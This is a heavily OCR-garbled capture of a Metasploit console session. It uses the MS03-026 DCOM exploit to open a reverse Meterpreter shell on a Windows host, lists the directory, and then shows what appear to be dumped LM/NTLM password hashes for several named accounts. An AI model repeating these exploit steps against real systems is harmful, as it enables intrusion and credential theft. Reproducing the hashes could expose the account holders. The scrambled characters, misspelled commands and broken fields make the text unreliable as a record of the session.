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= metasploit v4.1@.1l-dewv [core:4.1@.1.pre.dewv api:1.@.@7]7]
+ —— ——=[ 1375 exploits - 768 auxiliary - 2227 post
+ —— ——=[ 342 payloads - 37 encoders - 8 nops a
+ —— ——=[ Free Metasploit Pro trial: http:/  r-7.co trymsp 7]

msf > use exploits/windows.dcerpc-mse3_e26&__dcom
msf exploitCms@3_ @26 _dcom) > set RHOST 122.@8.@.2
RHOST == 122.@.&.2

msf exploitCms@3_@26_dcom) > exploit

C*] Started rewverse handler on 192.@.@.36: 44944

C*] Trying target Windows NT SP3-6a- 2000 XP. 2003 Uniwversal. ..

C*] Binding to 4d9f4ab8-7dlc-1llcf-86le-0@2Zaafee?cS7 10 ..08ncacn _ip_tcp:192.@.@.2[135] ...
C*1] Bound to 4d9f4ab8-7dlc-11cf-861e-0@20af6e7cS7:10..08ncacn _ip_tcp:192.@.@_2[1357] ...
C*] Sending exploit .

C*1] Sending stage (77@@48 bytes) to 192.@.@.2

C*1] MMeterpreter session 1 opened (192.@.@.36:4444 > 192 _ @.8.2:110360) at ZO14-17-1@ 18:47:48 +038300

meterpreter > shell

C-1 Failed to spawn shell with thread impersonation. Retrying without it.
Process 27@ created.

Channel 2 created.

Microsoft(CRD) Windows NTCTMD

CCO Copyright 1985-1996 Microsoft Corp.

Cc:iMe>dir

dir

Volume in driwe C is DOS

Volume Serial Number is ZE69A-BB79

Directory of o™

99/04-26 23:27 <DIR> DOS
940213 @6:21 54,619 COMMAND . COM
\n \— 94/Q2.13 e6:21 9,349 WINAZ@.386
QL 1218 14:22 <DIR> Tools
X E E R I @1 12,18 14:22 <DIR> Net

@@L/ 1218 14:22 <DITR> RunOEM

98/ @6 24 OF:52 1,834 SYSLOCK.EXE
é I 2 991124 BF:44 Z SYSLOCK.DAT
zk ) Zk B@1Lr1Z/1E8 14:22 1,408 AUTOEXEC.BATH

)EHFI% 4'35}65 auduser:500:873d7abb06d47844aad3b435b51404ee:ab358201b6fa82aab32d6fab72578dae: :

aud user SU NRISE Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0: : :
LIU JIANG:1003:faab774d6535faaeaad3b435b51404ee:559ab21b9063423¢c70£683e22168d43
Guest SR 21
LLJ3:1004:0d5f121447696cddaad3b435b51404ee:3ecc7197cb0fc651358f944h2938029¢: : :
Siemens EC HTZ EIT siemens:1000:ae3ce326eb2c82dadl7eafb0cfac29c3:3468f38bafl12f83d676d9836¢h1027ec:

LIU JIANG LJ ZHANGJINGYI:1001:c4d4e43d65c17f6daad3b435b51404ee :b46bbf326al02ac6fab32553bbblc
= 5d6: ::
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